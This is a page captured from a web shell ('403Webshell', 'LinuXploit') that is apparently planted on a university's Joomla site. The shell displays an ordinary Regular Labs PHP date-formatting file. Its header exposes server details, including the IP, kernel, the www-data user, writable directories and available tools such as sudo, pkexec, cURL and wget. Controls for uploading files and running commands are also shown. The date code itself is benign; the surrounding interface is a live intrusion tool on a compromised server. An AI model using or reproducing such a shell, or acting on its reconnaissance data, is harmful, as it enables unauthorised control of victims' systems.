403Webshell
Server IP : 104.21.84.107  /  Your IP : 104.23.197.209
Web Server : Apache/2.4.63 (Ubuntu)
System : Linux adminpruebas-Virtual-Machine 6.14.0-37-generic #37-Ubuntu SMP PREEMPT_DYNAMIC Fri Nov 14 22:10:32 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 8.4.5
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/pregrados/medicina-veterinaria-zootecnia/libraries/regularlabs/src/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/pregrados/medicina-veterinaria-zootecnia/libraries/regularlabs/src/Date.php
<?php
/**
 * @package         Regular Labs Library
 * @version         23.12.10783
 * 
 * @author          Peter van Westen <[email protected]>
 * @link            https://regularlabs.com
 * @copyright       Copyright © 2023 Regular Labs All Rights Reserved
 * @license         GNU General Public License version 2 or later
 */

namespace RegularLabs\Library;

defined('_JEXEC') or die;

use DateTimeZone;
use Joomla\CMS\Factory as JFactory;

class Date
{
    /**
     * Applies offset to a date
     */
    public static function applyTimezone(string &$date, string $timezone = ''): void
    {
        if ($date <= 0)
        {
            $date = 0;

            return;
        }

        $user     = JFactory::getApplication()->getIdentity() ?: JFactory::getUser();
        $timezone = $timezone ?: $user->getParam('timezone', JFactory::getApplication()->get('offset'));

        $date = JFactory::getDate($date, $timezone);
        $date->setTimezone(new DateTimeZone('UTC'));

        $date = $date->format('Y-m-d H:i:s', true, false);
    }

    /**
     * Convert string with 'date' format to 'strftime' format
     */
    public static function dateToStrftimeFormat(string $format): string
    {
        return strtr((string) $format, self::getDateToStrftimeFormats());
    }

    /**
     * Convert string to a correct date format ('00-00-00 00:00:00' or '00-00-00') or empty string
     */
    public static function fix(string $date): string
    {
        if ( ! $date)
        {
            return '';
        }

        $date = trim($date);

        // Check if date has correct syntax: 00-00-00 00:00:00
        // If so, the date format is correct
        if (RegEx::match('^[0-9]+-[0-9]+-[0-9]+( [0-9][0-9]:[0-9][0-9]:[0-9][0-9])?$', $date))
        {
            return $date;
        }

        // Check if date has syntax: 00-00-00 00:00
        // If so, it is missing the seconds, so add :00 (seconds)
        if (RegEx::match('^[0-9]+-[0-9]+-[0-9]+ [0-9][0-9]:[0-9][0-9]$', $date))
        {
            return $date . ':00';
        }

        // Check if date has a prepending date syntax: 00-00-00
        // If so, it is missing a correct time time, so add 00:00:00 (hours, minutes, seconds)
        if (RegEx::match('^([0-9]+-[0-9]+-[0-9]+)$', $date, $match))
        {
            return $match[1] . ' 00:00:00';
        }

        // Date format is not correct, so return empty string
        return '';
    }

    /**
     * Convert string to a correct time format: 1:23 to 01:23
     */
    public static function fixTime(string $time, bool $include_seconds = true): string
    {
        [$hours, $minutes, $seconds] = explode(':', $time . '::');

        $hours   = str_pad($hours, 2, '0', STR_PAD_LEFT);
        $minutes = str_pad($minutes, 2, '0', STR_PAD_LEFT);
        $seconds = str_pad($seconds, 2, '0', STR_PAD_LEFT);

        if ( ! $include_seconds)
        {
            return $hours . ':' . $minutes;
        }

        return $hours . ':' . $minutes . ':' . $seconds;
    }

    /**
     * Convert string with 'date' format to 'strftime' format
     */
    public static function strftimeToDateFormat(string $format): string
    {
        if ( ! str_contains($format, '%'))
        {
            return $format;
        }

        return strtr((string) $format, self::getStrftimeToDateFormats());
    }

    private static function getDateToStrftimeFormats(): array
    {
        return [
            // Day - no strf eq : S
            'd'  => '%d',
            'D'  => '%a',
            'jS' => '%#d[TH]',
            'j'  => '%#d',
            'l'  => '%A',
            'N'  => '%u',
            'w'  => '%w',
            'z'  => '%j',
            // Week - no date eq : %U, %W
            'W'  => '%V',
            // Month - no strf eq : n, t
            'F'  => '%B',
            'm'  => '%m',
            'M'  => '%b',
            // Year - no strf eq : L; no date eq : %C, %g
            'o'  => '%G',
            'Y'  => '%Y',
            'y'  => '%y',
            // Time - no strf eq : B, G, u; no date eq : %r, %R, %T, %X
            'a'  => '%P',
            'A'  => '%p',
            'g'  => '%l',
            'h'  => '%I',
            'H'  => '%H',
            'i'  => '%M',
            's'  => '%S',
            // Timezone - no strf eq : e, I, P, Z
            'O'  => '%z',
            'T'  => '%Z',
            // Full Date / Time - no strf eq : c, r; no date eq : %c, %D, %F, %x
            'U'  => '%s',
        ];
    }

    private static function getStrftimeToDateFormats(): array
    {
        return [
            // Day
            '%d'  => 'd',
            '%a'  => 'D',
            '%#d' => 'j',
            '%A'  => 'l',
            '%u'  => 'N',
            '%w'  => 'w',
            '%j'  => 'z',
            // Week
            '%V'  => 'W',
            // Month
            '%B'  => 'F',
            '%m'  => 'm',
            '%b'  => 'M',
            // Year
            '%G'  => 'o',
            '%Y'  => 'Y',
            '%y'  => 'y',
            // Time
            '%P'  => 'a',
            '%p'  => 'A',
            '%l'  => 'g',
            '%I'  => 'h',
            '%H'  => 'H',
            '%M'  => 'i',
            '%S'  => 's',
            // Timezone
            '%z'  => 'O',
            '%Z'  => 'T',
            // Full Date / Time
            '%s'  => 'U',
        ];
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit